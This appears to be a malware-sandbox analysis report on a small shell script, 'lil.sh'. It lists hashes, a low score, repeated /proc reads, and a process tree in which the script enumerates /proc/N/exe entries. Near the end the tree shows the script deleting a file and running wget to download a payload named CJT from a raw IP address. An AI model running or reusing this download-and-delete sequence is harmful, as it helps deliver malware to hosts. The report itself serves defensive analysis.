4f40cb6ebc6025a25428b99a475567d2907c83c788f99b24a46046d74e756fb4

Analysis

max time kernel
149s
max time network
151s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
03/07/2026, 19:11

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
lil.sh
Size 840B
Sample260703-xv74daez21
SHA256 4f40cb6ebc6025a25428b99a475567d2907c83c788f99b24a46046d74e756fb4
MD5 f88e824f8c10e6712c8e74fc8ee00f44
SHA1 9a193b47209fada133566e894794105d39e628f8
SHA512 aec4fd225f45714b236d401e7ebcd7cbd676ce53fe6b50e7d8fbf063551d4664468f2596b3bce04b2c637a8a0a191b40e455889388d9b133953e810169b12aad
TLSH
T10D014CC98544680080ADD96D32E75454F820D3CA195A4F6ABF6C6A3DEB98814F067FA5
MD5 SHA1 SHA512 TLSH

Score

3^/10

discovery

Malware Config

Signatures

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls

/tmp/lil.sh
/tmp/lil.sh
1⤵
PID:1540
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  PID:1541
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  PID:1542
- /bin/ls
  ls -l /proc/1007/exe
  2⤵
  PID:1543
- /bin/ls
  ls -l /proc/1022/exe
  2⤵
  PID:1544
- /bin/ls
  ls -l /proc/1027/exe
  2⤵
  PID:1547
- /bin/ls
  ls -l /proc/1031/exe
  2⤵
  PID:1548
- /bin/ls
  ls -l /proc/1035/exe
  2⤵
  PID:1549
- /bin/ls
  ls -l /proc/1039/exe
  2⤵
  PID:1550
- /bin/ls
  ls -l /proc/1043/exe
  2⤵
  - Reads runtime system information
  PID:1552
- /bin/ls
  ls -l /proc/1047/exe
  2⤵
  - Reads runtime system information
  PID:1553
- /bin/ls
  ls -l /proc/1052/exe
  2⤵
  PID:1554
- /bin/ls
  ls -l /proc/1056/exe
  2⤵
  - Reads runtime system information
  PID:1556
- /bin/ls
  ls -l /proc/1057/exe
  2⤵
  PID:1557
- /bin/ls
  ls -l /proc/1060/exe
  2⤵
  - Reads runtime system information
  PID:1558
- /bin/ls
  ls -l /proc/1062/exe
  2⤵
  PID:1559
- /bin/ls
  ls -l /proc/1064/exe
  2⤵
  - Reads runtime system information
  PID:1560
- /bin/ls
  ls -l /proc/1073/exe
  2⤵
  PID:1564
- /bin/ls
  ls -l /proc/1075/exe
  2⤵
  PID:1565
- /bin/ls
  ls -l /proc/1077/exe
  2⤵
  PID:1566
- /bin/ls
  ls -l /proc/1080/exe
  2⤵
  PID:1567
- /bin/ls
  ls -l /proc/1085/exe
  2⤵
  - Reads runtime system information
  PID:1568
- /bin/ls
  ls -l /proc/1091/exe
  2⤵
  - Reads runtime system information
  PID:1569
- /bin/ls
  ls -l /proc/1094/exe
  2⤵
  PID:1570
- /bin/ls
  ls -l /proc/1096/exe
  2⤵
  - Reads runtime system information
  PID:1571
- /bin/ls
  ls -l /proc/1099/exe
  2⤵
  - Reads runtime system information
  PID:1572
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  - Reads runtime system information
  PID:1573
- /bin/ls
  ls -l /proc/1100/exe
  2⤵
  PID:1574
- /bin/ls
  ls -l /proc/1103/exe
  2⤵
  - Reads runtime system information
  PID:1575
- /bin/ls
  ls -l /proc/1105/exe
  2⤵
  PID:1576
- /bin/ls
  ls -l /proc/1135/exe
  2⤵
  PID:1577
- /bin/ls
  ls -l /proc/115/exe
  2⤵
  - Reads runtime system information
  PID:1578
- /bin/ls
  ls -l /proc/1153/exe
  2⤵
  - Reads runtime system information
  PID:1579
- /bin/ls
  ls -l /proc/1170/exe
  2⤵
  PID:1580
- /bin/ls
  ls -l /proc/1171/exe
  2⤵
  PID:1581
- /bin/ls
  ls -l /proc/1184/exe
  2⤵
  - Reads runtime system information
  PID:1582
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  PID:1583
- /bin/ls
  ls -l /proc/1201/exe
  2⤵
  - Reads runtime system information
  PID:1584
- /bin/ls
  ls -l /proc/1203/exe
  2⤵
  PID:1585
- /bin/ls
  ls -l /proc/1254/exe
  2⤵
  - Reads runtime system information
  PID:1586
- /bin/ls
  ls -l /proc/1259/exe
  2⤵
  - Reads runtime system information
  PID:1587
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  - Reads runtime system information
  PID:1588
- /bin/ls
  ls -l /proc/1312/exe
  2⤵
  - Reads runtime system information
  PID:1589
- /bin/ls
  ls -l /proc/1317/exe
  2⤵
  - Reads runtime system information
  PID:1590
- /bin/ls
  ls -l /proc/1318/exe
  2⤵
  - Reads runtime system information
  PID:1591
- /bin/ls
  ls -l /proc/1331/exe
  2⤵
  PID:1592
- /bin/ls
  ls -l /proc/1349/exe
  2⤵
  - Reads runtime system information
  PID:1593
- /bin/ls
  ls -l /proc/1356/exe
  2⤵
  PID:1594
- /bin/ls
  ls -l /proc/137/exe
  2⤵
  PID:1595
- /bin/ls
  ls -l /proc/1389/exe
  2⤵
  PID:1596
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  PID:1597
- /bin/ls
  ls -l /proc/1422/exe
  2⤵
  PID:1598
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  - Reads runtime system information
  PID:1599
- /bin/ls
  ls -l /proc/1510/exe
  2⤵
  - Reads runtime system information
  PID:1600
- /bin/ls
  ls -l /proc/1526/exe
  2⤵
  - Reads runtime system information
  PID:1601
- /bin/ls
  ls -l /proc/1532/exe
  2⤵
  PID:1602
- /bin/ls
  ls -l /proc/1536/exe
  2⤵
  PID:1603
- /bin/ls
  ls -l /proc/1537/exe
  2⤵
  PID:1604
- /bin/ls
  ls -l /proc/1538/exe
  2⤵
  PID:1605
- /bin/ls
  ls -l /proc/1540/exe
  2⤵
  - Reads runtime system information
  PID:1606
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  PID:1607
- /bin/ls
  ls -l /proc/167/exe
  2⤵
  PID:1608
- /bin/ls
  ls -l /proc/168/exe
  2⤵
  - Reads runtime system information
  PID:1609
- /bin/ls
  ls -l /proc/169/exe
  2⤵
  - Reads runtime system information
  PID:1610
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  PID:1611
- /bin/ls
  ls -l /proc/170/exe
  2⤵
  - Reads runtime system information
  PID:1612
- /bin/ls
  ls -l /proc/171/exe
  2⤵
  PID:1613
- /bin/ls
  ls -l /proc/172/exe
  2⤵
  - Reads runtime system information
  PID:1614
- /bin/ls
  ls -l /proc/173/exe
  2⤵
  PID:1615
- /bin/ls
  ls -l /proc/174/exe
  2⤵
  PID:1616
- /bin/ls
  ls -l /proc/175/exe
  2⤵
  - Reads runtime system information
  PID:1617
- /bin/ls
  ls -l /proc/176/exe
  2⤵
  PID:1619
- /bin/ls
  ls -l /proc/177/exe
  2⤵
  - Reads runtime system information
  PID:1620
- /bin/ls
  ls -l /proc/178/exe
  2⤵
  - Reads runtime system information
  PID:1621
- /bin/ls
  ls -l /proc/179/exe
  2⤵
  - Reads runtime system information
  PID:1622
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  PID:1623
- /bin/ls
  ls -l /proc/180/exe
  2⤵
  PID:1624
- /bin/ls
  ls -l /proc/181/exe
  2⤵
  PID:1625
- /bin/ls
  ls -l /proc/182/exe
  2⤵
  PID:1626
- /bin/ls
  ls -l /proc/183/exe
  2⤵
  - Reads runtime system information
  PID:1627
- /bin/ls
  ls -l /proc/184/exe
  2⤵
  PID:1628
- /bin/ls
  ls -l /proc/186/exe
  2⤵
  - Reads runtime system information
  PID:1629
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  - Reads runtime system information
  PID:1630
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  - Reads runtime system information
  PID:1631
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  PID:1632
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  PID:1633
- /bin/ls
  ls -l /proc/211/exe
  2⤵
  PID:1634
- /bin/ls
  ls -l /proc/212/exe
  2⤵
  - Reads runtime system information
  PID:1635
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  - Reads runtime system information
  PID:1636
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  - Reads runtime system information
  PID:1637
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  - Reads runtime system information
  PID:1638
- /bin/ls
  ls -l /proc/25/exe
  2⤵
  PID:1639
- /bin/ls
  ls -l /proc/251/exe
  2⤵
  PID:1640
- /bin/ls
  ls -l /proc/26/exe
  2⤵
  PID:1641
- /bin/ls
  ls -l /proc/27/exe
  2⤵
  PID:1642
- /bin/ls
  ls -l /proc/278/exe
  2⤵
  PID:1643
- /bin/ls
  ls -l /proc/28/exe
  2⤵
  PID:1644
- /bin/ls
  ls -l /proc/29/exe
  2⤵
  - Reads runtime system information
  PID:1645
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  PID:1646
- /bin/ls
  ls -l /proc/30/exe
  2⤵
  PID:1647
- /bin/ls
  ls -l /proc/31/exe
  2⤵
  PID:1648
- /bin/ls
  ls -l /proc/32/exe
  2⤵
  - Reads runtime system information
  PID:1649
- /bin/ls
  ls -l /proc/323/exe
  2⤵
  - Reads runtime system information
  PID:1650
- /bin/ls
  ls -l /proc/325/exe
  2⤵
  PID:1651
- /bin/ls
  ls -l /proc/34/exe
  2⤵
  PID:1652
- /bin/ls
  ls -l /proc/35/exe
  2⤵
  - Reads runtime system information
  PID:1653
- /bin/ls
  ls -l /proc/36/exe
  2⤵
  - Reads runtime system information
  PID:1654
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  PID:1655
- /bin/ls
  ls -l /proc/437/exe
  2⤵
  PID:1656
- /bin/ls
  ls -l /proc/464/exe
  2⤵
  - Reads runtime system information
  PID:1657
- /bin/ls
  ls -l /proc/470/exe
  2⤵
  PID:1658
- /bin/ls
  ls -l /proc/471/exe
  2⤵
  PID:1659
- /bin/ls
  ls -l /proc/481/exe
  2⤵
  PID:1660
- /bin/ls
  ls -l /proc/482/exe
  2⤵
  PID:1661
- /bin/ls
  ls -l /proc/486/exe
  2⤵
  PID:1662
- /bin/ls
  ls -l /proc/487/exe
  2⤵
  PID:1663
- /bin/ls
  ls -l /proc/490/exe
  2⤵
  PID:1664
- /bin/ls
  ls -l /proc/496/exe
  2⤵
  - Reads runtime system information
  PID:1665
- /bin/ls
  ls -l /proc/497/exe
  2⤵
  PID:1666
- /bin/ls
  ls -l /proc/498/exe
  2⤵
  - Reads runtime system information
  PID:1667
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  PID:1668
- /bin/ls
  ls -l /proc/500/exe
  2⤵
  PID:1669
- /bin/ls
  ls -l /proc/501/exe
  2⤵
  PID:1670
- /bin/ls
  ls -l /proc/505/exe
  2⤵
  PID:1671
- /bin/ls
  ls -l /proc/506/exe
  2⤵
  PID:1672
- /bin/ls
  ls -l /proc/530/exe
  2⤵
  PID:1673
- /bin/ls
  ls -l /proc/532/exe
  2⤵
  - Reads runtime system information
  PID:1674
- /bin/ls
  ls -l /proc/541/exe
  2⤵
  PID:1675
- /bin/ls
  ls -l /proc/550/exe
  2⤵
  - Reads runtime system information
  PID:1676
- /bin/ls
  ls -l /proc/566/exe
  2⤵
  PID:1677
- /bin/ls
  ls -l /proc/582/exe
  2⤵
  - Reads runtime system information
  PID:1678
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  - Reads runtime system information
  PID:1679
- /bin/ls
  ls -l /proc/613/exe
  2⤵
  - Reads runtime system information
  PID:1680
- /bin/ls
  ls -l /proc/614/exe
  2⤵
  - Reads runtime system information
  PID:1681
- /bin/ls
  ls -l /proc/658/exe
  2⤵
  PID:1682
- /bin/ls
  ls -l /proc/664/exe
  2⤵
  PID:1683
- /bin/ls
  ls -l /proc/666/exe
  2⤵
  - Reads runtime system information
  PID:1684
- /bin/ls
  ls -l /proc/672/exe
  2⤵
  - Reads runtime system information
  PID:1685
- /bin/ls
  ls -l /proc/684/exe
  2⤵
  PID:1686
- /bin/ls
  ls -l /proc/689/exe
  2⤵
  PID:1687
- /bin/ls
  ls -l /proc/696/exe
  2⤵
  PID:1688
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  PID:1689
- /bin/ls
  ls -l /proc/719/exe
  2⤵
  PID:1690
- /bin/ls
  ls -l /proc/725/exe
  2⤵
  PID:1691
- /bin/ls
  ls -l /proc/78/exe
  2⤵
  PID:1692
- /bin/ls
  ls -l /proc/79/exe
  2⤵
  PID:1693
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  PID:1694
- /bin/ls
  ls -l /proc/80/exe
  2⤵
  PID:1695
- /bin/ls
  ls -l /proc/81/exe
  2⤵
  PID:1696
- /bin/ls
  ls -l /proc/82/exe
  2⤵
  PID:1697
- /bin/ls
  ls -l /proc/83/exe
  2⤵
  PID:1698
- /bin/ls
  ls -l /proc/84/exe
  2⤵
  PID:1699
- /bin/ls
  ls -l /proc/86/exe
  2⤵
  PID:1700
- /bin/ls
  ls -l /proc/89/exe
  2⤵
  - Reads runtime system information
  PID:1701
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  PID:1702
- /bin/ls
  ls -l /proc/908/exe
  2⤵
  PID:1703
- /bin/ls
  ls -l /proc/910/exe
  2⤵
  PID:1704
- /bin/ls
  ls -l /proc/915/exe
  2⤵
  - Reads runtime system information
  PID:1705
- /bin/ls
  ls -l /proc/918/exe
  2⤵
  - Reads runtime system information
  PID:1706
- /bin/ls
  ls -l /proc/932/exe
  2⤵
  - Reads runtime system information
  PID:1707
- /bin/ls
  ls -l /proc/937/exe
  2⤵
  PID:1708
- /bin/ls
  ls -l /proc/951/exe
  2⤵
  PID:1709
- /bin/ls
  ls -l /proc/957/exe
  2⤵
  PID:1710
- /bin/ls
  ls -l /proc/970/exe
  2⤵
  PID:1711
- /bin/ls
  ls -l /proc/974/exe
  2⤵
  PID:1712
- /bin/ls
  ls -l /proc/977/exe
  2⤵
  PID:1713
- /bin/ls
  ls -l /proc/979/exe
  2⤵
  PID:1714
- /bin/ls
  ls -l /proc/98/exe
  2⤵
  PID:1715
- /bin/ls
  ls -l /proc/984/exe
  2⤵
  PID:1716
- /bin/ls
  ls -l /proc/994/exe
  2⤵
  - Reads runtime system information
  PID:1717
- /bin/ls
  ls -l /proc/998/exe
  2⤵
  - Reads runtime system information
  PID:1718
- /bin/rm
  rm -rf CJT
  2⤵
  PID:1719
- /usr/bin/wget
  wget http://129.121.114.124/CJT
  2⤵
  PID:1720

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads